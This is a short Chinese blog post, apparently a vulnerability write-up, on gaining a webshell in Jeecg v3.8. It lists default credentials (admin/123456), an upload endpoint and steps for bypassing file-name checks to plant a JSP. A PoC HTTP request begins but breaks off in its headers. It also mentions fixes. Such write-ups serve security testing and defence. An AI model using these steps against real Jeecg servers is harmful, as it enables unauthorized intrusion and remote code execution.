Jeecg弱口令后台上传getShell渗透测试

最新推荐文章于 2026-03-26 10:27:53 发布

原创

最新推荐文章于 2026-03-26 10:27:53 发布 · 4.7k 阅读

标签

#渗透测试 #信息安全 #数据安全

收录于

Jeecg是一款基于代码生成器的智能开发平台。本文揭示了其3.8版本中存在的安全漏洞，包括通过弱口令登录后利用特定URL进行文件上传攻击的方法，并提供了一个PoC示例。此外，还提出了修改默认密码和限制文件上传类型的修复建议。

前言

Jeecg（J2EE Code Generation）是一款基于代码生成器JEE的智能开发平台。引领新的开发模式(Online Coding->代码生成器->手工MERGE智能开发)，可以帮助解决Java项目90%的重复工作，让开发更多关注业务逻辑。既能快速提高开发效率，帮助公司节省人力成本，同时又不失灵活性。

影响版本

jeecg v_3.8

漏洞复现

1.使用弱口令登录系统 admin/123456

2.进入后台后访问url 上传文件（绕过）

/jeecgFormDemoController.do?commonUpload

3.拦截修改文件名后发送，查看响应返回了上传的jsp路径

poc

POST /cgUploadController.do?ajaxSaveFile&sessionId=55F38FB8EA964ABD8CB45203CACB5419 HTTP/1.1
Host: xxxx
Content-Length: 1064
Origin: http://xxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win